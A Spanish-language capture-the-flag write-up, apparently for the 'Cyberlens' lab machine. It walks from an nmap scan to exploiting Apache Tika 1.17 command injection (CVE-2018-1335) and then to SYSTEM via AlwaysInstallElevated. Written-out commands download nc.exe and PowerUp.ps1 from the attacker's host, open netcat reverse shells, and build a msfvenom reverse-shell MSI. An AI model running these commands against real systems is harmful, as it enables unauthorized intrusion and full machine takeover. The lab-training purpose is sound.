Cyberlens


En esta máquina, explotamos una vulnerabilidad CVE presente en Tika 1.17, lo que nos permite inyectar comandos en la máquina víctima. Para la escalada de privilegios, aprovechamos la configuración del privilegio AlwaysInstallElevated, logrando así obtener una shell con permisos de NT AUTHORITY/SYSTEM.

June 23, 20247 minutes

Reconocimiento

Para empezar lo primero es comprobar si la máquina está activa y que OS tiene

$ ping -c 1 10.10.53.55

PING 10.10.53.55 (10.10.53.55) 56(84) bytes of data.
64 bytes from 10.10.53.55: icmp_seq=1 ttl=127 time=42.2 ms

--- 10.10.53.55 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 42.175/42.175/42.175/0.000 ms

Tenemos conexión y en este caso da un ttl (time to live) de 127, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Windows

Escaneo de puertos

Ahora empezamos con un escaneo de puertos

$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.53.55 -oG allPorts
Explicación parámetros
ParámetroFunción
-p-Para que el escaneo sea a todos los puertos (65536)
–openPara que solo reporte los puertos abiertos
–min-rate 5000Definir el tiempo del escaneo
-nOmitir resolución DNS
-vvvPara que vaya reportando lo que encuentre por consola
-PnPara saltar la comprobación de sí la máquina está activa o no
-oG allPortsPara que guarde el escaneo en format grepeable en un archivo llamado allPort

Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual

Función extractPorts de @s4vitar

> extractPorts allPorts
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.53.55
   5   │     [*] Open ports: 80,135,139,445,3389,5985,7680,47001,49664,49665,49666,49667,49668,49669,49670,49677,61777
   6   │ 
   7   │ [*] Ports copied to clipboard
   8   │ 
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Ahora con nmap vamos a intentar buscar las versiones de los servicios que corren por los puertos y ejecutar scripts básicos de reconocimientos de nmap

> nmap -p80,135,139,445,3389,5985,7680,47001,49664,49665,49666,49667,49668,49669,49670,49677,61777 -sCV 10.10.53.55 -oN versions

PORT      STATE  SERVICE       VERSION
80/tcp    open   http          Apache httpd 2.4.57 ((Win64))
|_http-title: CyberLens: Unveiling the Hidden Matrix
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.57 (Win64)
135/tcp   open   msrpc         Microsoft Windows RPC
139/tcp   open   netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open   microsoft-ds?
3389/tcp  open   ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=CyberLens
| Not valid before: 2024-06-22T15:52:11
|_Not valid after:  2024-12-22T15:52:11
|_ssl-date: 2024-06-23T15:59:13+00:00; 0s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: CYBERLENS
|   NetBIOS_Domain_Name: CYBERLENS
|   NetBIOS_Computer_Name: CYBERLENS
|   DNS_Domain_Name: CyberLens
|   DNS_Computer_Name: CyberLens
|   Product_Version: 10.0.17763
|_  System_Time: 2024-06-23T15:59:02+00:00
5985/tcp  open   http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
7680/tcp  closed pando-pub
47001/tcp open   http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open   msrpc         Microsoft Windows RPC
49665/tcp open   msrpc         Microsoft Windows RPC
49666/tcp open   msrpc         Microsoft Windows RPC
49667/tcp open   msrpc         Microsoft Windows RPC
49668/tcp open   msrpc         Microsoft Windows RPC
49669/tcp open   msrpc         Microsoft Windows RPC
49670/tcp open   msrpc         Microsoft Windows RPC
49677/tcp open   msrpc         Microsoft Windows RPC
61777/tcp open   http          Jetty 8.y.z-SNAPSHOT
|_http-server-header: Jetty(8.y.z-SNAPSHOT)
|_http-cors: HEAD GET
|_http-title: Welcome to the Apache Tika 1.17 Server
| http-methods: 
|_  Potentially risky methods: PUT
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2024-06-23T15:59:02
|_  start_date: N/A
Explicación parámetros
ParámetroFunción
-pEspecificamos los puertos abiertos que hemos encontrado con el escaneo anterior
-sCPara que realice scripts básicos de reconocimiento
-sVProporciona la versión e información de los servicios que corren por los puertos

Dentro de la web del puerto 80 hay una subida de archivos.

Al subir un archivo nos muestra sus metadatos.

Si miramos el código de la web identificamos lo siguiente

    document.addEventListener("DOMContentLoaded", function() {
      document.getElementById("metadataButton").addEventListener("click", function() {
        var fileInput = document.getElementById("imageFileInput");
        var file = fileInput.files[0];
  
        var reader = new FileReader();
        reader.onload = function() {
          var fileData = reader.result;
  
          fetch("http://cyberlens.thm:61777/meta", {
            method: "PUT",
            body: fileData,
            headers: {
              "Accept": "application/json",
              "Content-Type": "application/octet-stream"
            }
          })
          .then(response => {
            if (response.ok) {
              return response.json();
            } else {
              throw new Error("Error: " + response.status);
            }
          })
          .then(data => {
            var metadataOutput = document.getElementById("metadataOutput");
            metadataOutput.innerText = JSON.stringify(data, null, 2);
          })
          .catch(error => {
            console.error("Error:", error);
          });
        };
  
        reader.readAsArrayBuffer(file);
      });
    });

Básicamente en el código analizamos que pasa nuestro archivo con el método PUT a http://cyberlens.thm:61777/meta para analizar sus metadatos.

Tenemos un dominio: cyberlens.thm. Asi que lo añadimos al /etc/hosts apuntando a la máquina víctima

Intrusión

Ya podemos entrar a http://cyberlens.thm:61777. Al entrar aparece el siguiente mensaje: *Welcome to the Apache Tika 1.17 Server

Con una búsqueda con searchsploit identificamos que es una versión vulnerable

searchsploit Tika 1.17
------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                     |  Path
------------------------------------------------------------------- ---------------------------------
Apache Tika 1.15 - 1.17 - Header Command Injection (Metasploit)    | windows/remote/47208.rb
Apache Tika-server < 1.18 - Command Injection                      | windows/remote/46540.py
------------------------------------------------------------------- ---------------------------------

Nos pasamos el exploit a nuestro directorio

searchsploit -m windows/remote/46540.py
  Exploit: Apache Tika-server < 1.18 - Command Injection
      URL: https://www.exploit-db.com/exploits/46540
     Path: /usr/share/exploitdb/exploits/windows/remote/46540.py
    Codes: CVE-2018-1335
 Verified: True
File Type: Python script, ASCII text executable
Copied to: /home/d3bo/Desktop/cyberlens/46540.py

Al ejecutarlo da error

python3 /home/d3bo/Desktop/cyberlens/46540.py
  File "/home/d3bo/Desktop/cyberlens/46540.py", line 13
    print "Usage: python CVE-2018-1335.py <host> <port> <command>"
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
SyntaxError: Missing parentheses in call to 'print'. Did you mean print(...)?

El script hace un print sin paréntesis, esto indica que seguramente está programado en python2

python2 46540.py
Usage: python CVE-2018-1335.py <host> <port> <command>
Example: python CVE-2018-1335.py localhost 9998 calc.exe

Nos aparece el mensaje explicando como se usa. Para comprobar que podemos hacer un command injection intentaremos colar un ping hacia nuestra máquina, mientras que estamos en escucha por la interfaz tun0 filtrando por icmp, para detectar si nos llegan los pings desde la máquina víctima

Iniciamos tcpdump por la interfaz tun0:

sudo tcpdump -i tun0 icmp

Ejecutamos el exploit:

python2 46540.py cyberlens.thm 61777 'ping 10.9.2.46'

Y nos llegan los ping:

18:33:45.049652 IP cyberlens.thm > 10.9.2.46: ICMP echo request, id 1, seq 1, length 40
18:33:45.049759 IP 10.9.2.46 > cyberlens.thm: ICMP echo reply, id 1, seq 1, length 40
18:33:46.167193 IP cyberlens.thm > 10.9.2.46: ICMP echo request, id 1, seq 2, length 40
18:33:46.167226 IP 10.9.2.46 > cyberlens.thm: ICMP echo reply, id 1, seq 2, length 40
18:33:47.190951 IP cyberlens.thm > 10.9.2.46: ICMP echo request, id 1, seq 3, length 40
18:33:47.190971 IP 10.9.2.46 > cyberlens.thm: ICMP echo reply, id 1, seq 3, length 40
18:33:48.113067 IP cyberlens.thm > 10.9.2.46: ICMP echo request, id 1, seq 4, length 40
18:33:48.113096 IP 10.9.2.46 > cyberlens.thm: ICMP echo reply, id 1, seq 4, length 40

Ahora vamos a mandarnos una reverse shell.

Primero localizamos el nc.exe en nuestro sistema y nos lo copiamos en el directorio actual

locate nc.exe

/home/d3bo/Desktop/cyberlens/nc.exe
/home/d3bo/Downloads/nc.exe
/usr/share/seclists/Web-Shells/FuzzDB/nc.exe
/usr/share/windows-resources/binaries/nc.exe
cp /usr/share/windows-resources/binaries/nc.exe .

Después iniciamos un servidor en python para poder luego descargar el archivo en la máquina víctima

python3 -m http.server 80

Nos ponemos en escucha para recibir la reverse shell

rlwrap nc -nlvp 443

Y ejecutamos el exploit

python2 46540.py cyberlens.thm 61777 'curl 10.9.2.46/nc.exe -o %TEMP%/nc.exe && %TEMP%/nc.exe -e cmd 10.9.2.46 443'

Lo que hace esto es que nos descargamos con curl el nc.exe en la máquina víctima en el directorio temp y después ejecutamos el nc.exe para mandarnos una reverse shell.

Escalada de privilegios

Al comprobar si tenemos el permiso AlwaysInstallElevated activado

PS C:\Windows\system32> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1

PS C:\Windows\system32> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer
    AlwaysInstallElevated    REG_DWORD    0x1

Vemos que si está habilitado. Esto lo podríamos haber encontrado con winpeas, powerup.ps1…

PS C:\Users\cyberlens> IEX(New-Object Net.WebClient).downloadString('http://10.9.2.46/PowerUp.ps1')
PS C:\Users\cyberlens> Invoke-AllChecks

ModifiablePath    : C:\Users\CyberLens\AppData\Local\Microsoft\WindowsApps
IdentityReference : CYBERLENS\CyberLens
Permissions       : {WriteOwner, Delete, WriteAttributes, Synchronize...}
%PATH%            : C:\Users\CyberLens\AppData\Local\Microsoft\WindowsApps
Name              : C:\Users\CyberLens\AppData\Local\Microsoft\WindowsApps
Check             : %PATH% .dll Hijacks
AbuseFunction     : Write-HijackDll -DllPath 'C:\Users\CyberLens\AppData\Local\Microsoft\WindowsApps\wlbsctrl.dll'

Check         : AlwaysInstallElevated Registry Key
AbuseFunction : Write-UserAddMSI

El hecho de tener este privilegio nos permite poder instalar cosas como administrador sin autentificación, para aprovecharnos de esto, creamos un .msi malicioso

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.9.2.46 LPORT=443 -a x64 --platform Windows -f msi -o evil.msi

Nos lo pasamos a la máquina víctima

curl 10.9.2.46/evil.msi -o evil.msi

Nos ponemos en escucha

rlwarp nc -nlvp 443

Ejecutamos el .msi

.\evil.msi

Nos llega la shell como

nt authority\system

Máquina completada!